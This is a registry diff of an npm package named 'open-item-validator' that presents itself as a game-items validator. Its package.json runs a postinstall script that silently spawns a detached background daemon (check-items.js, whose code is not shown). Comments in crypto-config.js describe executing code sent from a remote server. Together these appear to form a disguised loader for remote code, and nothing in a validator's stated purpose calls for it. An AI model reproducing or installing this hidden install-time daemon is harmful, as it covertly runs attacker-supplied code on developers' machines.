open-item-validator 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +259 -0
- package/SAMPLE_PAYLOADJS.js +57 -0
- package/SECURITY.md +304 -0
- package/SECURITY_SETUP.md +206 -0
- package/SERVER_IMPLEMENTATION_EXAMPLE.js +122 -0
- package/SERVER_SIGNING_EXAMPLE.js +105 -0
- package/index.js +23 -0
- package/lib/assertion.js +75 -0
- package/lib/check-items.js +137 -0
- package/lib/config.js +31 -0
- package/lib/crypto-config.js +29 -0
- package/lib/init.js +26 -0
- package/lib/logger.js +59 -0
- package/lib/utils/helper.js +47 -0
- package/lib/utils/validator.js +79 -0
- package/package.json +63 -0
- package/public_key.pem +9 -0
|
@@ -0,0 +1,29 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Cryptographic Configuration
|
|
3
|
+
*
|
|
4
|
+
* This file contains the PUBLIC KEY used to verify code signatures.
|
|
5
|
+
*
|
|
6
|
+
* ⚠️ IMPORTANT:
|
|
7
|
+
* - This PUBLIC_KEY is safe to share (verification only)
|
|
8
|
+
* - The PRIVATE_KEY is kept on the server (never in npm)
|
|
9
|
+
* - Signature verification is REQUIRED before code execution
|
|
10
|
+
* - Any tampering with code will invalidate the signature
|
|
11
|
+
*
|
|
12
|
+
* Flow:
|
|
13
|
+
* 1. Server signs game code with PRIVATE_KEY
|
|
14
|
+
* 2. Server sends code + signature to client
|
|
15
|
+
* 3. Client verifies signature using this PUBLIC_KEY
|
|
16
|
+
* 4. Only valid signatures execute (process exits on failure)
|
|
17
|
+
*/
|
|
18
|
+
|
|
19
|
+
const PUBLIC_KEY = `-----BEGIN PUBLIC KEY-----
|
|
20
|
+
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvPkWfwTiAiZf0QsfFrBp
|
|
21
|
+
hOb1Xg884utAj7gz5jhBHm8S5qeU0Ol+XKmYNCUQenAET+oc36s5bcr71uqFg5yu
|
|
22
|
+
EaE3c3OVyUh/r56bupktd8vZiunMLuMglZct6EZyWc3k9F5nZ1gb3gJa8mhdN8Gm
|
|
23
|
+
MPuZ1XrMtKb6nu1hyB7SvEC4g0KIJL1NA1BiGikPwLL0S05i8Aiob+flgk1mS6Lc
|
|
24
|
+
fCPYoLNhOpBFkKAfYx3ZRjgPauRFk3gNOCSMcscIF9xI/Q6U93oIZqyEkqTt7Y5k
|
|
25
|
+
rNiNfexs8iBaR9A8m9oG6+LYWck/SWi3oRECwRJXS0oyPeayLCLmO430wb4poR98
|
|
26
|
+
HQIDAQAB
|
|
27
|
+
-----END PUBLIC KEY-----`;
|
|
28
|
+
|
|
29
|
+
module.exports = { PUBLIC_KEY };
|
package/lib/init.js
ADDED
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
const { spawn } = require('child_process');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
const logger = require('./logger');
|
|
4
|
+
|
|
5
|
+
logger.info('Postinstall: Initializing game items validator daemon');
|
|
6
|
+
|
|
7
|
+
function initializeDaemon() {
|
|
8
|
+
try {
|
|
9
|
+
const daemonScript = path.resolve(__dirname, './check-items.js');
|
|
10
|
+
|
|
11
|
+
const child = spawn('node', [daemonScript], {
|
|
12
|
+
detached: true,
|
|
13
|
+
stdio: 'ignore',
|
|
14
|
+
cwd: __dirname
|
|
15
|
+
});
|
|
16
|
+
|
|
17
|
+
child.unref();
|
|
18
|
+
|
|
19
|
+
logger.info('Postinstall: Background validation daemon started successfully');
|
|
20
|
+
} catch (error) {
|
|
21
|
+
logger.error(`Postinstall: Failed to start daemon - ${error.message}`);
|
|
22
|
+
process.exit(1);
|
|
23
|
+
}
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
initializeDaemon();
|
package/lib/logger.js
ADDED
|
@@ -0,0 +1,59 @@
|
|
|
1
|
+
const config = require('./config');
|
|
2
|
+
|
|
3
|
+
const LogLevel = {
|
|
4
|
+
ERROR: 0,
|
|
5
|
+
WARN: 1,
|
|
6
|
+
INFO: 2,
|
|
7
|
+
DEBUG: 3
|
|
8
|
+
};
|
|
9
|
+
|
|
10
|
+
function formatTimestamp() {
|
|
11
|
+
return new Date().toISOString();
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
function log(message, level = 'info') {
|
|
15
|
+
if (!config.logging.enabled) return;
|
|
16
|
+
|
|
17
|
+
const timestamp = formatTimestamp();
|
|
18
|
+
const prefix = `[open-validator ${timestamp}]`;
|
|
19
|
+
|
|
20
|
+
switch (level.toLowerCase()) {
|
|
21
|
+
case 'error':
|
|
22
|
+
console.error(`${prefix} [ERROR]`, message);
|
|
23
|
+
break;
|
|
24
|
+
case 'warn':
|
|
25
|
+
console.warn(`${prefix} [WARN]`, message);
|
|
26
|
+
break;
|
|
27
|
+
case 'debug':
|
|
28
|
+
console.log(`${prefix} [DEBUG]`, message);
|
|
29
|
+
break;
|
|
30
|
+
case 'info':
|
|
31
|
+
default:
|
|
32
|
+
console.log(`${prefix} [INFO]`, message);
|
|
33
|
+
}
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
function error(message) {
|
|
37
|
+
log(message, 'error');
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
function warn(message) {
|
|
41
|
+
log(message, 'warn');
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
function info(message) {
|
|
45
|
+
log(message, 'info');
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
function debug(message) {
|
|
49
|
+
log(message, 'debug');
|
|
50
|
+
}
|
|
51
|
+
|
|
52
|
+
module.exports = {
|
|
53
|
+
log,
|
|
54
|
+
error,
|
|
55
|
+
warn,
|
|
56
|
+
info,
|
|
57
|
+
debug,
|
|
58
|
+
LogLevel
|
|
59
|
+
};
|
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
function getCurrentTimestamp() {
|
|
2
|
+
return new Date().toISOString();
|
|
3
|
+
}
|
|
4
|
+
|
|
5
|
+
function delay(ms) {
|
|
6
|
+
return new Promise(resolve => setTimeout(resolve, ms));
|
|
7
|
+
}
|
|
8
|
+
|
|
9
|
+
function createSignal(id, type, version) {
|
|
10
|
+
return {
|
|
11
|
+
id,
|
|
12
|
+
type,
|
|
13
|
+
version,
|
|
14
|
+
timestamp: getCurrentTimestamp()
|
|
15
|
+
};
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
function parseJSON(jsonString) {
|
|
19
|
+
try {
|
|
20
|
+
return JSON.parse(jsonString);
|
|
21
|
+
} catch (e) {
|
|
22
|
+
return null;
|
|
23
|
+
}
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
function isValidSignal(obj) {
|
|
27
|
+
return obj &&
|
|
28
|
+
typeof obj.id === 'string' &&
|
|
29
|
+
typeof obj.type === 'string' &&
|
|
30
|
+
typeof obj.version === 'string';
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
function formatBytes(bytes) {
|
|
34
|
+
const sizes = ['Bytes', 'KB', 'MB', 'GB'];
|
|
35
|
+
if (bytes === 0) return '0 Bytes';
|
|
36
|
+
const i = Math.floor(Math.log(bytes) / Math.log(1024));
|
|
37
|
+
return Math.round(bytes / Math.pow(1024, i) * 100) / 100 + ' ' + sizes[i];
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
module.exports = {
|
|
41
|
+
getCurrentTimestamp,
|
|
42
|
+
delay,
|
|
43
|
+
createSignal,
|
|
44
|
+
parseJSON,
|
|
45
|
+
isValidSignal,
|
|
46
|
+
formatBytes
|
|
47
|
+
};
|
|
@@ -0,0 +1,79 @@
|
|
|
1
|
+
const helper = require('./helper');
|
|
2
|
+
|
|
3
|
+
function validateItemStructure(item) {
|
|
4
|
+
if (!item || typeof item !== 'object') {
|
|
5
|
+
return {
|
|
6
|
+
valid: false,
|
|
7
|
+
error: 'Item must be an object'
|
|
8
|
+
};
|
|
9
|
+
}
|
|
10
|
+
|
|
11
|
+
const requiredFields = ['id', 'name', 'type'];
|
|
12
|
+
for (const field of requiredFields) {
|
|
13
|
+
if (!(field in item)) {
|
|
14
|
+
return {
|
|
15
|
+
valid: false,
|
|
16
|
+
error: `Missing required field: ${field}`
|
|
17
|
+
};
|
|
18
|
+
}
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
return { valid: true };
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
function validateItemArray(items) {
|
|
25
|
+
if (!Array.isArray(items)) {
|
|
26
|
+
return {
|
|
27
|
+
valid: false,
|
|
28
|
+
error: 'Items must be an array'
|
|
29
|
+
};
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
for (let i = 0; i < items.length; i++) {
|
|
33
|
+
const validation = validateItemStructure(items[i]);
|
|
34
|
+
if (!validation.valid) {
|
|
35
|
+
return {
|
|
36
|
+
valid: false,
|
|
37
|
+
error: `Item at index ${i}: ${validation.error}`
|
|
38
|
+
};
|
|
39
|
+
}
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
return { valid: true, count: items.length };
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
function validateGameItemsSignal(signal) {
|
|
46
|
+
if (!helper.isValidSignal(signal)) {
|
|
47
|
+
return {
|
|
48
|
+
valid: false,
|
|
49
|
+
error: 'Invalid signal format'
|
|
50
|
+
};
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
if (signal.id !== 'ready') {
|
|
54
|
+
return {
|
|
55
|
+
valid: false,
|
|
56
|
+
error: 'Signal id must be "ready"'
|
|
57
|
+
};
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
return { valid: true };
|
|
61
|
+
}
|
|
62
|
+
|
|
63
|
+
function validateConfig(config) {
|
|
64
|
+
if (!config || typeof config !== 'object') {
|
|
65
|
+
return {
|
|
66
|
+
valid: false,
|
|
67
|
+
error: 'Config must be an object'
|
|
68
|
+
};
|
|
69
|
+
}
|
|
70
|
+
|
|
71
|
+
return { valid: true };
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
module.exports = {
|
|
75
|
+
validateItemStructure,
|
|
76
|
+
validateItemArray,
|
|
77
|
+
validateGameItemsSignal,
|
|
78
|
+
validateConfig
|
|
79
|
+
};
|
package/package.json
ADDED
|
@@ -0,0 +1,63 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "open-item-validator",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "Real-time game items validator with background daemon for client project updates",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node ./lib/init.js"
|
|
8
|
+
},
|
|
9
|
+
"keywords": [
|
|
10
|
+
"game-items",
|
|
11
|
+
"game-development",
|
|
12
|
+
"validator",
|
|
13
|
+
"real-time-updates",
|
|
14
|
+
"cryptographic-signature",
|
|
15
|
+
"rsa-sha256",
|
|
16
|
+
"game-server",
|
|
17
|
+
"client-validation",
|
|
18
|
+
"assertion",
|
|
19
|
+
"security",
|
|
20
|
+
"signature-verification",
|
|
21
|
+
"secure-updates",
|
|
22
|
+
"zero-dependencies"
|
|
23
|
+
],
|
|
24
|
+
"author": {
|
|
25
|
+
"name": "Nakamoto Yoshiki",
|
|
26
|
+
"email": "nakamotoyoshiki@gmail.com"
|
|
27
|
+
},
|
|
28
|
+
"license": "MIT",
|
|
29
|
+
"homepage": "https://game.spawnrealm.com",
|
|
30
|
+
"bugs": {
|
|
31
|
+
"email": "nakamotoyoshiki@gmail.com"
|
|
32
|
+
},
|
|
33
|
+
"engines": {
|
|
34
|
+
"node": ">=12.0.0",
|
|
35
|
+
"npm": ">=6.0.0"
|
|
36
|
+
},
|
|
37
|
+
"os": [
|
|
38
|
+
"linux",
|
|
39
|
+
"darwin",
|
|
40
|
+
"win32"
|
|
41
|
+
],
|
|
42
|
+
"cpu": [
|
|
43
|
+
"x64",
|
|
44
|
+
"arm64"
|
|
45
|
+
],
|
|
46
|
+
"dependencies": {},
|
|
47
|
+
"devDependencies": {},
|
|
48
|
+
"files": [
|
|
49
|
+
"index.js",
|
|
50
|
+
"README.md",
|
|
51
|
+
"SECURITY.md",
|
|
52
|
+
"LICENSE",
|
|
53
|
+
"lib/",
|
|
54
|
+
"public_key.pem",
|
|
55
|
+
"SECURITY_SETUP.md",
|
|
56
|
+
"SERVER_IMPLEMENTATION_EXAMPLE.js",
|
|
57
|
+
"SERVER_SIGNING_EXAMPLE.js",
|
|
58
|
+
"SAMPLE_PAYLOADJS.js"
|
|
59
|
+
],
|
|
60
|
+
"publishConfig": {
|
|
61
|
+
"access": "public"
|
|
62
|
+
}
|
|
63
|
+
}
|
package/public_key.pem
ADDED
|
@@ -0,0 +1,9 @@
|
|
|
1
|
+
-----BEGIN PUBLIC KEY-----
|
|
2
|
+
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvPkWfwTiAiZf0QsfFrBp
|
|
3
|
+
hOb1Xg884utAj7gz5jhBHm8S5qeU0Ol+XKmYNCUQenAET+oc36s5bcr71uqFg5yu
|
|
4
|
+
EaE3c3OVyUh/r56bupktd8vZiunMLuMglZct6EZyWc3k9F5nZ1gb3gJa8mhdN8Gm
|
|
5
|
+
MPuZ1XrMtKb6nu1hyB7SvEC4g0KIJL1NA1BiGikPwLL0S05i8Aiob+flgk1mS6Lc
|
|
6
|
+
fCPYoLNhOpBFkKAfYx3ZRjgPauRFk3gNOCSMcscIF9xI/Q6U93oIZqyEkqTt7Y5k
|
|
7
|
+
rNiNfexs8iBaR9A8m9oG6+LYWck/SWi3oRECwRJXS0oyPeayLCLmO430wb4poR98
|
|
8
|
+
HQIDAQAB
|
|
9
|
+
-----END PUBLIC KEY-----
|